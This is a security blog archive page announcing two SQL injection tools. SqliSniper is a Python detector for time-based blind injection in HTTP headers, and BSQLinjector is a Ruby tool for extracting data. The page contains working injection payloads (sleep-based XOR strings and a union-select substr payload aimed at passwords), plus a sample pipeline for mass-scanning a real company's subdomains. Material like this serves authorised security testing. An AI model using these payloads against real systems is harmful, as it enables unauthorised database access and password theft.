sql injection Archives - Tech Chronicles

SqliSniper – Enhancing Web Security By Detecting SQL Injection Vulnerabilities With Python

Majordomo — Wed, 21 Feb 2024 23:39:18 +0000

SqliSniper is a robust Python tool designed to detect time-based blind SQL injections in HTTP request headers.

It enhances the security assessment process by rapidly scanning and identifying potential vulnerabilities using multi-threaded, ensuring speed and efficiency.

Unlike other scanners, SqliSniper is designed to eliminates false positives through and send alerts upon detection, with the built-in Discord notification functionality.

Key Features

Time-Based Blind SQL Injection Detection: Pinpoints potential SQL injection vulnerabilities in HTTP headers.
Multi-Threaded Scanning: Offers faster scanning capabilities through concurrent processing.
Discord Notifications: Sends alerts via Discord webhook for detected vulnerabilities.
False Positive Checks: Implements response time analysis to differentiate between true positives and false alarms.
Custom Payload and Headers Support: Allows users to define custom payloads and headers for targeted scanning.

Installation

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt

Usage

This will display help for the tool. Here are all the options it supports.

ubuntu:~/sqlisniper$ ./sqlisniper.py -h


███████╗ ██████╗ ██╗     ██╗    ███████╗███╗   ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║     ██║    ██╔════╝████╗  ██║██║██╔══██╗██╔════╝██╔══██╗
███████╗██║   ██║██║     ██║    ███████╗██╔██╗ ██║██║██████╔╝█████╗  ██████╔╝
╚════██║██║▄▄ ██║██║     ██║    ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝  ██╔══██╗
███████║╚██████╔╝███████╗██║    ███████║██║ ╚████║██║██║     ███████╗██║  ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝    ╚══════╝╚═╝  ╚═══╝╚═╝╚═╝     ╚══════╝╚═╝  ╚═╝

                            -: By Muhammad Danial :-

usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PAYLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
                     [--threads THREADS]

Detect SQL injection by sending malicious queries

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Single URL for the target
  -r URLS_FILE, --urls_file URLS_FILE
                        File containing a list of URLs
  -p, --pipeline        Read from pipeline
  --proxy PROXY         Proxy for intercepting requests (e.g., http://127.0.0.1:8080)
  --payload PAYLOAD     File containing malicious payloads (default is payloads.txt)
  --single-payload SINGLE_PAYLOAD
                        Single payload for testing
  --discord DISCORD     Discord Webhook URL
  --headers HEADERS     File containing headers (default is headers.txt)
  --threads THREADS     Number of threads

Running SqliSniper

Single Url Scan

The url can be provided with -u flag for single site scan

./sqlisniper.py -u http://example.com

File Input

The -r flag allows SqliSniper to read a file containing multiple URLs for simultaneous scanning.

./sqlisniper.py -r url.txt

Piping URLs

The SqliSniper can also worked with the pipeline input with -p flag

cat url.txt | ./sqlisniper.py -p

The pipeline feature facilitates seamless integration with other tools. For instance, you can utilize tools like subfinder and httpx, and then pipe their output to SqliSniper for mass scanning.

subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p

Scanning with custom payloads

By default the SqliSniper use the payloads.txt file. However --payload flag can be used for providing custom payloads file.

./sqlisniper.py -u http://example.com --payload mssql_payloads.txt

While using the custom payloads file, ensure that you substitute the sleep time with %__TIME_OUT__%. SqliSniper dynamically adjusts the sleep time iteratively to mitigate potential false positives. The payloads file should look like this.

ubuntu:~/sqlisniper$ cat payloads.txt 
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z

Scanning with Single Payloads

If you want to only test with the single payload --single-payload flag can be used. Make sure to replace the sleep time with %__TIME_OUT__%

./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"

Scanning Custom Header

Headers are saved in the file headers.txt for scanning custom header save the custom HTTP Request Header in headers.txt file.

ubuntu:~/sqlisniper$ cat headers.txt 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1

Sending Discord Alert Notifications

SqliSniper also offers Discord alert notifications, enhancing its functionality by providing real-time alerts through Discord webhooks. This feature proves invaluable during large-scale scans, allowing prompt notifications upon detection.

./sqlisniper.py -r url.txt --discord

Multi-Threading

Threads can be defined with --threads flag

 ./sqlisniper.py -r url.txt --threads 10

Note: It is crucial to consider that employing a higher number of threads might lead to potential false positives or overlooking valid issues. Due to the nature of time-based SQL injection it is recommended to use lower thread for more accurate detection.

Legal Disclaimer

Usage of this tool for attacking targets without prior mutual consent is strictly prohibited. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

The post SqliSniper – Enhancing Web Security By Detecting SQL Injection Vulnerabilities With Python appeared first on Tech Chronicles.

BSQLinjector – Blind SQL Injection Tool Download in Ruby

Majordomo — Fri, 13 Dec 2019 13:18:46 +0000

BSQLinjector is an easy to use Blind SQL Injection tool in Ruby, that uses blind methods to retrieve data from SQL databases. The download is below.

The author recommends using the “--test” switch to clearly see how configured payload looks like before sending it to an application.

What is Blind SQL Injection?

Blind SQL Injection is a type of SQL Injection (SQLi) attack that asks the database true or false questions and determines the answer based on the application’s response. This attack is often used when the web application is configured to show generic error messages but has not mitigated the code that is vulnerable to SQL injection.

Using BSQLinjector for Blind SQL Injection

  –file	    Mandatory – File containing valid HTTP request and SQL injection point (SQLINJECT). (–file=/tmp/req.txt)<br />
  –pattern	    Mandatory – Pattern to look for when query is true. (–pattern=truestatement)<br />
  –prepend	    Mandatory – Main payload. (–prepend=”abcd’and’a’=’b’+union+select+’truestatement’+from+table+where+col%3d’value’+and+substr(password,”<br />
  –append	    How to end our payload. For example comment out rest of SQL statement. (–append=’#)<br />
  –schar	    Character placed around chars. This character is not used while in hex mode. (–schar=”‘”)<br />
  –2ndfile	    File containing valid HTTP request used in second order exploitation. (–2ndfile=/tmp/2ndreq.txt)</p>
<p>  –mode	    Blind mode to use – (between – b (generates less requests), moreless – a (generates less requests by using “<“, “>”, “=” characters), like – l (complete bruteforce), equals – e (complete bruteforce)). (–mode=l)<br />
  –hex		    Use hex to compare instead of characters.<br />
  –case	    Case sensitivity.</p>
<p>  –ssl		    Use SSL.<br />
  –proxy	    Proxy to use. (–proxy=127.0.0.1:8080)</p>
<p>  –test	    Enable test mode. Do not send request, just show full payload.<br />
  –special	    Include all special characters in enumeration.<br />
  –start	    Start enumeration from specified character. (–start=10)<br />
  –max		    Maximum characters to enumerate. (–max=10)<br />
  –timeout	    Timeout in waiting for responses. (–timeout=20)<br />
  –only-final	Stop showing each enumerated letter.<br />
  –comma	    Encode comma.<br />
  –bracket	    Add brackets to the end of substring function. –bracket=”))”<br />
  –hexspace	Use space instead of brackets to split hex values.<br />
  –verbose	    Show verbose messages.

—file Mandatory – File containing valid HTTP request and SQL injection point (SQLINJECT). (—file=/tmp/req.txt)

—pattern Mandatory – Pattern to look for when query is true. (—pattern=truestatement)

—prepend Mandatory – Main payload. (—prepend=“abcd’and’a’=’b’+union+select+’truestatement’+from+table+where+col%3d’value’+and+substr(password,”

—append How to end our payload. For example comment out rest of SQL statement. (—append=‘#)

–schar Character placed around chars. This character is not used while in hex mode. (–schar=”‘“)

–2ndfile File containing valid HTTP request used in second order exploitation. (–2ndfile=/tmp/2ndreq.txt)

–mode Blind mode to use – (between – b (generates less requests), moreless – a (generates less requests by using “<“, “>“, “=” characters), like – l (complete bruteforce), equals – e (complete bruteforce)). (–mode=l)

–hex Use hex to compare instead of characters.

–case Case sensitivity.

–ssl Use SSL.

–proxy Proxy to use. (–proxy=127.0.0.1:8080)

–test Enable test mode. Do not send request, just show full payload.

–special Include all special characters in enumeration.

–start Start enumeration from specified character. (–start=10)

–max Maximum characters to enumerate. (–max=10)

–timeout Timeout in waiting for responses. (–timeout=20)

–only-final Stop showing each enumerated letter.

–comma Encode comma.

–bracket Add brackets to the end of substring function. –bracket=”))“

—hexspace Use space instead of brackets to split hex values.

—verbose Show verbose messages.

Example usage:

 ruby ./BSQLinjector.rb –pattern=truestatement –file=/tmp/req.txt –schar=”‘” –prepend=”abcd’and’a’=’b’+union+select+’truestatement’+from+table+where+col%3d’value’+and+substr(password,” –append=”‘#” –ssl

1	ruby ./BSQLinjector.rb —pattern=truestatement —file=/tmp/req.txt —schar=“‘” —prepend=“abcd’and’a’=’b’+union+select+’truestatement’+from+table+where+col%3d’value’+and+substr(password,” —append=“‘#” —ssl

The most famous Blind SQL injection tool would definitely be sqlmap, which automates it.

You can download BSQLinjector here:

BSQLinjector.rb

Or read more here.

The post BSQLinjector – Blind SQL Injection Tool Download in Ruby appeared first on Tech Chronicles.